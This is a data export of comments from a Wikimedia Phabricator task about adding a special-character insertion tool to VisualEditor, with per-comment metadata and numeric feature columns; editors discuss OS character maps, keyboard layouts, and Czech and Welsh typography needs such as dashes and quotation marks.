> Gnome, KDE, and Mac OSX (called ""Character viewer"").

On Mountain Lion, it's even simpler. (Straight in the edit menu, ctrl-cmd-space).

I mentioned it, but the problem is indeed:
1: no one knows them/uses them
2: there is no trigger in HTML5/JS to open the panel

So some ideas:
1: Educate the user: Add a 'more characters' link in the insert symbol editor, that detects OS of user and links to a page explaining how to access this panel on his OS.
2: Lobby HTML5 WG to expose these panels to JS",,,1385650141,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,True,,,21,,1.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,2.0,1.5,0.0,0.0,0.5,0.5,1.0,3.0,8.0,0.0,2.5,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,1.0,3.5,0.5,1.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.5,1.0,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,5.0,1.0,13.0,1.0,1.5,8.5,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,3.5,8.0,8.0,0.0,1.5,0.0,3.5,0.0,1.5,1.5,1.0,1.0,1.5,0.0,1.0,3.153225806451613,0.7016129032258065,"QUOTE
QUOTE
QUOTE
QUOTE

On Mountain Lion, it's even simpler. (Straight in the edit menu, ctrl-cmd-space).

I mentioned it, but the problem is indeed:
1: no one knows them/uses them
2: there is no trigger in HTML5/JS to open the panel

So some ideas:
1: Educate the user: Add a 'more characters' link in the insert symbol editor, that detects OS of user and links to a page explaining how to access this panel on his OS.
2: Lobby HTML5 WG to expose these panels to JS"
230414,VisualEditor: Provide a character insertion tool,"(In reply to comment #34)
> At present, however, there is no way to enter non-keyboard characters unless
> you're much more familiar with your operating system
Well, how doest it come, there is no way? What about to load character box available for editing on some wikies in MonoBook?

> At present, however, there is no way to enter non-keyboard characters unless
> you're much more familiar with your operating system than almost any user is.
Do you have any statistic for this statment? I would say that most of the users are not familiar with that. But I should include it is my point of view.",,,1385284629,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,20,,3.0,0.0,0.0,0.0,1.0,5.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,4.0,0.0,3.0,15.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,0.0,3.0,4.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,14.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,15.0,3.0,1.0,8.0,0.0,0.0,0.0,1.0,6.0,1.0,1.0,0.0,8.0,15.0,4.0,4.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,1.0,0.0,1.0,0.0,3.4430379746835444,0.7721518987341772,"(In reply to comment #34)
QUOTE
QUOTE
Well, how doest it come, there is no way? What about to load character box available for editing on some wikies in MonoBook?

QUOTE
QUOTE
Do you have any statistic for this statment? I would say that most of the users are not familiar with that. But I should include it is my point of view."
230409,VisualEditor: Provide a character insertion tool,"Juan - I think that would quite definitely require actual usability lab testing. As would many of the suggestions in this bug.

At present, however, there is no way to enter non-keyboard characters unless you're much more familiar with your operating system than almost any user is. So doing nothing isn't really an option either.",,,1383688795,,PHID-USER-gfaq55vdypjmzz6nl2kn,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,18,,5.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,2.0,5.0,3.0,0.0,2.0,2.0,2.0,0.0,15.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.0,5.0,8.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,12.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,4.196969696969697,0.8787878787878788,"Juan - I think that would quite definitely require actual usability lab testing. As would many of the suggestions in this bug.

At present, however, there is no way to enter non-keyboard characters unless you're much more familiar with your operating system than almost any user is. So doing nothing isn't really an option either."
230405,VisualEditor: Provide a character insertion tool,"(In reply to comment #32)
> (In reply to comment #31)
> > Just for reference: Either I didn't read all the comments well enough or
> > nobody quite mentioned the fact that all modern desktop operating
> > environments have a built-in a Character Map tool: Windows (with pretty
> > full Unicode since NT 4), Gnome, KDE, and Mac OSX (called ""Character
> > viewer"").
> 
> I said this, but everyone said it wasn't sufficient for them. :-(

Lets say it differenty. Visual Editor Team was made to remove obstacles in editing, to simplify the work of Wikipedia contributors. Even there are voices, that it is a wrong way and newbies should study wikitext WFM goes the way of its goal. To offer all human knowledge to give to everybody. Our aim here is to collect the knowledge of all people. Logically higher amount of obstacles reduces the number of Wikipedians. Our aim is not to push newbies to study wikitext, internal policies or typography. Our aim is to harvest their knoledge. Thus in the new trend we are removing obstacles. So if not as a default, what about as an option to define your own characters (this was always possible in wp)? Than we can tell newbies, look here we place &ndash; - its not present in VE default, but you can install an extension to your VE.",,,1383688524,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,18,,1.0,0.5,0.0,0.5,1.5,4.5,2.5,0.0,0.0,0.5,4.0,0.0,0.0,0.0,0.5,3.0,0.0,5.0,14.0,0.5,5.0,0.5,0.0,0.0,1.0,0.5,0.0,0.0,1.0,0.0,0.0,5.0,0.0,2.0,1.5,1.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.5,16.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,4.5,4.0,13.5,1.0,2.0,6.0,0.0,0.0,0.0,0.5,7.5,0.0,0.5,0.0,7.0,14.0,8.5,0.5,0.0,0.0,7.0,0.0,0.5,2.0,0.0,0.5,0.5,0.0,0.0,3.8273551844980416,0.6803236446093589,"(In reply to comment #32)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Lets say it differenty. Visual Editor Team was made to remove obstacles in editing, to simplify the work of Wikipedia contributors. Even there are voices, that it is a wrong way and newbies should study wikitext WFM goes the way of its goal. To offer all human knowledge to give to everybody. Our aim here is to collect the knowledge of all people. Logically higher amount of obstacles reduces the number of Wikipedians. Our aim is not to push newbies to study wikitext, internal policies or typography. Our aim is to harvest their knoledge. Thus in the new trend we are removing obstacles. So if not as a default, what about as an option to define your own characters (this was always possible in wp)? Than we can tell newbies, look here we place &ndash; - its not present in VE default, but you can install an extension to your VE."
230399,VisualEditor: Provide a character insertion tool,"(In reply to comment #31)
> Just for reference: Either I didn't read all the comments well enough or
> nobody quite mentioned the fact that all modern desktop operating
> environments have a built-in a Character Map tool: Windows (with pretty
> full Unicode since NT 4), Gnome, KDE, and Mac OSX (called ""Character
> viewer"").

I said this, but everyone said it wasn't sufficient for them. :-(

> 2. It may be easier to insert at least some characters using the keyboard
> layout provided with ULS. It is disabled now in VE because of some bugs (can
> anybody help me with the numbers?), but these can be fixed, of course. If we
> know which characters are really needed (see point 1 above), we can very
> easily add them to the keyboard layouts.

Possibly. The main problem is that ""ULS"" is about twenty different tools, and some of them don't work in VisualEditor (yet). I doesn't seem possible to enable some of them and not others, however.",,,1383674338,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,True,,,18,,2.0,1.0,0.0,0.0,4.0,4.0,2.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,2.0,0.0,9.0,9.0,1.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,4.0,0.0,1.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,1.0,3.0,19.0,1.0,3.0,4.0,0.0,0.0,0.0,1.0,4.0,0.0,2.0,0.0,7.0,9.0,9.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.3666666666666667,0.5777777777777777,"(In reply to comment #31)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I said this, but everyone said it wasn't sufficient for them. :-(

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Possibly. The main problem is that ""ULS"" is about twenty different tools, and some of them don't work in VisualEditor (yet). I doesn't seem possible to enable some of them and not others, however."
230393,VisualEditor: Provide a character insertion tool,"Just for reference: Either I didn't read all the comments well enough or nobody quite mentioned the fact that all modern desktop operating environments have a built-in a Character Map tool: Windows (with pretty full Unicode since NT 4), Gnome, KDE, and Mac OSX (called ""Character viewer"").

That said, I am very well aware of the fact that pretty much nobody but me actually uses it. A very surprising number of people, however, do use the character insertion tool in their word processors. The one in Microsoft Word is not very different from Windows' Character Map, which in my mind makes it redundant, but apparently I'm special.

Anyway, yes - a character insertion tool should be there.

But, two points:

1. There's one already in Vector, and it's quite good. It can be used for research - which characters are used most frequently in which project. Adding statistics for this is quite easy now with EventLogging.

2. It may be easier to insert at least some characters using the keyboard layout provided with ULS. It is disabled now in VE because of some bugs (can anybody help me with the numbers?), but these can be fixed, of course. If we know which characters are really needed (see point 1 above), we can very easily add them to the keyboard layouts.",,,1383663006,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,18,,1.6666666666666667,0.3333333333333333,1.3333333333333333,1.6666666666666667,0.6666666666666666,3.3333333333333335,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,2.6666666666666665,1.0,0.0,0.0,0.3333333333333333,2.6666666666666665,0.0,10.0,9.333333333333334,1.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,1.0,0.0,0.3333333333333333,0.3333333333333333,1.6666666666666667,0.0,0.3333333333333333,4.666666666666667,0.6666666666666666,2.0,1.6666666666666667,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.6666666666666666,1.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,11.0,1.0,0.3333333333333333,0.3333333333333333,1.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.3333333333333333,4.0,3.3333333333333335,12.0,1.6666666666666667,2.6666666666666665,8.0,0.0,0.0,0.0,0.0,4.0,0.3333333333333333,1.3333333333333333,0.0,5.666666666666667,9.333333333333334,6.333333333333333,0.3333333333333333,1.0,0.0,5.666666666666667,0.0,1.3333333333333333,1.3333333333333333,1.0,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.6666666666666666,3.838827838827839,0.7326007326007327,"Just for reference: Either I didn't read all the comments well enough or nobody quite mentioned the fact that all modern desktop operating environments have a built-in a Character Map tool: Windows (with pretty full Unicode since NT 4), Gnome, KDE, and Mac OSX (called ""Character viewer"").

That said, I am very well aware of the fact that pretty much nobody but me actually uses it. A very surprising number of people, however, do use the character insertion tool in their word processors. The one in Microsoft Word is not very different from Windows' Character Map, which in my mind makes it redundant, but apparently I'm special.

Anyway, yes - a character insertion tool should be there.

But, two points:

1. There's one already in Vector, and it's quite good. It can be used for research - which characters are used most frequently in which project. Adding statistics for this is quite easy now with EventLogging.

2. It may be easier to insert at least some characters using the keyboard layout provided with ULS. It is disabled now in VE because of some bugs (can anybody help me with the numbers?), but these can be fixed, of course. If we know which characters are really needed (see point 1 above), we can very easily add them to the keyboard layouts."
230385,VisualEditor: Provide a character insertion tool,"Well, when creating Featured or Quality articles we (on cs.wp) looks to have them correct from typograpical point of wiev. The problem is that Czech keyboard doesnt include all characters needed, as it includes other characters, which are not native to English. The most common missing characters would be *, #, &ndash;, &nbsp;. So if not all it would be nice to have in VE or nearby the table with some most used characters. E.g. list items are present in English keyboard, while &ndash; suprisingly not.",,,1383640351,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,18,,2.5,0.0,0.0,0.0,2.5,6.0,4.0,0.0,0.0,1.0,3.5,0.0,0.0,0.0,0.0,0.5,0.0,7.5,10.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,4.5,0.0,1.5,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.5,0.0,0.5,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.0,4.0,7.5,3.0,4.5,5.0,0.0,0.0,0.0,1.0,5.0,0.5,0.0,0.0,2.5,10.0,6.0,0.0,0.0,0.0,2.5,0.0,1.0,0.0,0.5,1.0,0.0,1.5,0.0,3.920335429769392,0.8029350104821802,"Well, when creating Featured or Quality articles we (on cs.wp) looks to have them correct from typograpical point of wiev. The problem is that Czech keyboard doesnt include all characters needed, as it includes other characters, which are not native to English. The most common missing characters would be *, #, &ndash;, &nbsp;. So if not all it would be nice to have in VE or nearby the table with some most used characters. E.g. list items are present in English keyboard, while &ndash; suprisingly not."
230378,VisualEditor: Provide a character insertion tool,"(In reply to comment #27)
> If this selection tool is ever provided, please make sure users have an
> option not to load it at all (see bug 11130 for this problem in the context
> of MediaWiki:Edittools)

It's very unlikely that we'll start adding per-user preferences to switch things like this on and off (some VE version of bug 9754); that's a very complex and confusing thing to allow.

Note BTW that bug 11130 is complaining about assuming users have JS (already known inside VE), lack of ability to cache (fixed by VE's nature), and taking up lots of screen estate (fixed by how we'll do this); I don't think it's a direct comparison. I'd also note that bug 11130 hasn't been done despite it being filed 6 years ago, which strongly suggests that it's not a priority.",,,1383411270,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,True,,,17,,0.5,0.0,1.5,1.5,2.0,2.0,0.0,0.0,0.0,0.0,0.5,3.5,0.0,0.0,0.0,2.5,0.5,7.5,12.5,0.0,2.0,0.0,0.0,1.5,0.0,0.5,0.0,0.5,0.0,2.0,0.0,5.5,3.0,2.5,2.5,0.0,0.0,0.5,1.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.5,11.5,1.0,1.0,0.0,0.0,0.0,0.0,0.5,0.5,0.5,0.0,1.5,2.0,0.0,1.0,0.0,0.0,0.0,2.0,2.0,7.5,4.0,1.5,5.0,0.0,0.0,0.0,0.5,4.0,0.0,3.0,0.0,5.0,12.5,3.0,0.0,0.0,0.0,5.0,0.0,1.5,2.0,0.0,2.0,0.0,0.0,0.0,3.5089421613394216,0.7584665144596652,"(In reply to comment #27)
QUOTE
QUOTE
QUOTE

It's very unlikely that we'll start adding per-user preferences to switch things like this on and off (some VE version of bug 9754); that's a very complex and confusing thing to allow.

Note BTW that bug 11130 is complaining about assuming users have JS (already known inside VE), lack of ability to cache (fixed by VE's nature), and taking up lots of screen estate (fixed by how we'll do this); I don't think it's a direct comparison. I'd also note that bug 11130 hasn't been done despite it being filed 6 years ago, which strongly suggests that it's not a priority."
230370,VisualEditor: Provide a character insertion tool,"Change 90940 had a related patch set uploaded by Jforrester:
[WIP] Insert special character tool

https://gerrit.wikimedia.org/r/90940",,,1383409609,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,17,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,24.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,4.523809523809524,1.0,"Change 90940 had a related patch set uploaded by Jforrester:
[WIP] Insert special character tool

GERRIT_URL"
230364,VisualEditor: Provide a character insertion tool,"If this selection tool is ever provided, please make sure users have an option not to load it at all (see bug 11130 for this problem in the context of MediaWiki:Edittools)",,,1383125351,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,17,,3.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,8.0,3.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,3.0,3.0,0.0,3.0,17.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.9166666666666665,0.9722222222222222,"If this selection tool is ever provided, please make sure users have an option not to load it at all (see bug 11130 for this problem in the context of MediaWiki:Edittools)"
230355,VisualEditor: Provide a character insertion tool,"**eleriygarregwen** wrote:

When I proposed a whole collection of sequences of characters to put into the ULS input method for Welsh, which uses a lot of diacritics, the comment from CYWP was that it would be a lot of work to memorise these character sequences, and it is not easy to find out about the ULS input methods.

The bar of characters under the edit box is very easy to understand, just by looking at it, and having a go. Almost no-one needs a help page on how to use it. Once you know what it does, there is nothing to memorise, and nothing to forget. Since simplicity is the aim with VisualEditor (to encourage new users), the bar of characters wins over anything more complicated, in my opinion.",,,1383083841,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,17,,0.0,0.5,0.5,0.0,0.5,3.0,3.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.5,1.0,0.0,5.0,16.0,2.0,4.5,0.0,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,5.5,2.5,3.0,1.0,0.5,0.0,0.5,0.0,0.5,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,14.5,0.0,1.0,0.0,2.5,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,6.5,3.5,6.0,2.5,2.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.5,16.0,3.0,0.0,0.0,0.0,4.5,0.0,2.5,3.0,0.0,1.5,0.5,0.0,0.0,3.779220779220779,0.7207792207792207,"**eleriygarregwen** wrote:

When I proposed a whole collection of sequences of characters to put into the ULS input method for Welsh, which uses a lot of diacritics, the comment from CYWP was that it would be a lot of work to memorise these character sequences, and it is not easy to find out about the ULS input methods.

The bar of characters under the edit box is very easy to understand, just by looking at it, and having a go. Almost no-one needs a help page on how to use it. Once you know what it does, there is nothing to memorise, and nothing to forget. Since simplicity is the aim with VisualEditor (to encourage new users), the bar of characters wins over anything more complicated, in my opinion."
230346,VisualEditor: Provide a character insertion tool,"I agree with James Forrester's comment #0. Character input in particular languages should be possible, but through the universal language selector, and in all text inputs on the website.

I think the ideal way to handle en dashes and em dashes would be to make ""--"" be replaced by the wikitext parser by an en dash (–), ""---"" by an em dash (—) and ""----"" by an horizontal bar (―). The current horizontal rule syntax would become ""-----"" (it would require one more hyphen-minus because the current one would be taken by the horizontal bar character). There would therefore become part of the syntax. DokuWiki does this for en dashes and em dashes (https://www.dokuwiki.org/wiki:syntax#text_to_html_conversions), but not the others.

As I mentioned, this is what I think would be the ideal way to handle it. Practically, this is impossible because these sequences are already used in many pages for other purposes. An acceptable solution would, I believe, be to make the editor recognize those sequences and replace them automatically by the corresponding character. This would be reasonable in the VisualEditor and would be more efficient than putting a bar of characters under the edit box and hoping beginners will use it to insert dashes. However, since the sequence ""--"" is used in signatures on talk pages and possibly for other things in wikitext, it may be preferable to avoid doing these replacements in the source editor.

It might be a good idea to add sequences of characters for producing similar characters. As long as the sequences are well chosen, problems should not arise frequently, and this could reduce considerably the typographical burden put on beginners.",,,1382936493,,PHID-USER-2rwkb3az6uklfhh5aqw5,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,17,,0.5,0.0,0.0,1.25,0.5,6.25,2.25,0.5,0.0,0.0,3.5,0.0,0.0,0.25,0.25,1.25,0.0,4.0,11.0,0.0,1.75,0.5,0.5,0.0,0.25,0.0,0.0,0.0,1.0,2.5,0.0,3.0,1.25,1.25,1.0,0.0,0.0,0.0,0.0,0.75,0.0,0.25,0.0,0.75,0.5,1.0,0.0,0.0,0.0,15.25,1.0,1.0,0.0,0.5,0.0,0.25,0.0,0.0,0.75,0.0,0.5,1.0,0.0,0.5,0.0,0.0,0.0,6.25,4.0,5.25,0.75,2.75,8.75,0.0,0.0,0.0,0.25,6.5,0.0,0.5,0.0,3.25,11.0,1.75,0.0,2.5,0.0,3.25,0.0,0.25,1.5,0.25,1.0,0.5,0.0,0.25,4.157407407407407,0.7191358024691358,"I agree with James Forrester's comment #0. Character input in particular languages should be possible, but through the universal language selector, and in all text inputs on the website.

I think the ideal way to handle en dashes and em dashes would be to make ""--"" be replaced by the wikitext parser by an en dash (–), ""---"" by an em dash (—) and ""----"" by an horizontal bar (―). The current horizontal rule syntax would become ""-----"" (it would require one more hyphen-minus because the current one would be taken by the horizontal bar character). There would therefore become part of the syntax. DokuWiki does this for en dashes and em dashes (URL but not the others.

As I mentioned, this is what I think would be the ideal way to handle it. Practically, this is impossible because these sequences are already used in many pages for other purposes. An acceptable solution would, I believe, be to make the editor recognize those sequences and replace them automatically by the corresponding character. This would be reasonable in the VisualEditor and would be more efficient than putting a bar of characters under the edit box and hoping beginners will use it to insert dashes. However, since the sequence ""--"" is used in signatures on talk pages and possibly for other things in wikitext, it may be preferable to avoid doing these replacements in the source editor.

It might be a good idea to add sequences of characters for producing similar characters. As long as the sequences are well chosen, problems should not arise frequently, and this could reduce considerably the typographical burden put on beginners."
230339,VisualEditor: Provide a character insertion tool,"**lebo.beland** wrote:

I didn't read the whole thread,  but I suggest to look at including Mediawiki:Edittools in the Visual Editor. For many projects, this include the special characters and useful stuff specific to each project.

Thanks,",,,1382929831,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,17,,4.0,0.0,0.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,10.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,15.0,0.0,4.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,10.0,6.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.980769230769231,0.7692307692307693,"**lebo.beland** wrote:

I didn't read the whole thread,  but I suggest to look at including Mediawiki:Edittools in the Visual Editor. For many projects, this include the special characters and useful stuff specific to each project.

Thanks,"
230336,VisualEditor: Provide a character insertion tool,*** Bug 55496 has been marked as a duplicate of this bug. ***,,,1381329553,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 55496 has been marked as a duplicate of this bug. ***
230332,VisualEditor: Provide a character insertion tool,"Czech editors have compiled a list of characters they find are vital for their day-to-day editing. From https://cs.wikipedia.org/wiki/Diskuse_k_Wikipedii:VisualEditor



Output	Name	                                Entity	Decimal
 	nobreak space	                        &nbsp;	&#160;
 	thin space	                        &thinsp;	 
„	curly quotation marks begin (99)	&bdquo;	&#8222;
“	curly quotation marks end (66)	        &ldquo;	&#8220;
‚	simple curly quotation marks begin	&sbquo;	&#8218;
‘	simple curly quotation marks end	&lsquo;	&#8216;
–	n-dash	                                &ndash;	&#8211;
×	times	                                &times;	&#215;

In particular, both kinds of quotation marks (we are very particular about those, like the French about theirs) could be insertable either one by one or in pairs, like so: „“ and ‚‘.
In general, easy access to inserting those characters would be a very desirable feature for Czech editors – and even better would be the MS Word functionality that automatically converts minuses into n-dashes and ""English quotation marks"" into „Czech quotation marks“. Best, Littledogboy (diskuse) 1. 10. 2013, 11:35 (UTC)
Important: Although I've listed their codes, we usually enter n-dash and curly quotation marks NOT as html entities, but simply like so „–“ (Alt-0132, Alt-0150, Alt-0147 – yes, I am a robot). Littledogboy (diskuse) 1. 10. 2013, 11:51 (UTC)",,,1380652688,,PHID-USER-ttyyrgsrkyonct7hizgv,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.5,0.0,0.25,5.25,1.5,0.0,0.25,0.0,1.5,0.25,0.0,0.0,0.0,1.25,0.0,3.0,4.75,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.5,0.0,2.75,0.25,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.75,0.0,2.25,0.0,0.5,0.0,0.25,0.0,10.0,0.25,0.25,0.0,0.0,0.0,0.0,0.0,0.25,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.0,1.25,1.5,7.75,0.25,6.0,2.25,0.0,0.0,0.0,1.75,1.0,0.5,7.0,0.0,2.25,4.75,6.0,0.0,0.5,0.0,2.25,0.0,0.25,0.75,0.0,0.25,0.25,0.25,0.0,3.715625,0.6375,"Czech editors have compiled a list of characters they find are vital for their day-to-day editing. From URL



Output	Name	                                Entity	Decimal
 	nobreak space	                        &nbsp;	&#160;
 	thin space	                        &thinsp;	 
„	curly quotation marks begin (99)	&bdquo;	&#8222;
“	curly quotation marks end (66)	        &ldquo;	&#8220;
‚	simple curly quotation marks begin	&sbquo;	&#8218;
‘	simple curly quotation marks end	&lsquo;	&#8216;
–	n-dash	                                &ndash;	&#8211;
×	times	                                &times;	&#215;

In particular, both kinds of quotation marks (we are very particular about those, like the French about theirs) could be insertable either one by one or in pairs, like so: „“ and ‚‘.
In general, easy access to inserting those characters would be a very desirable feature for Czech editors – and even better would be the MS Word functionality that automatically converts minuses into n-dashes and ""English quotation marks"" into „Czech quotation marks“. Best, Littledogboy (diskuse) 1. 10. 2013, 11:35 (UTC)
Important: Although I've listed their codes, we usually enter n-dash and curly quotation marks NOT as html entities, but simply like so „–“ (Alt-0132, Alt-0150, Alt-0147 – yes, I am a robot). Littledogboy (diskuse) 1. 10. 2013, 11:51 (UTC)"
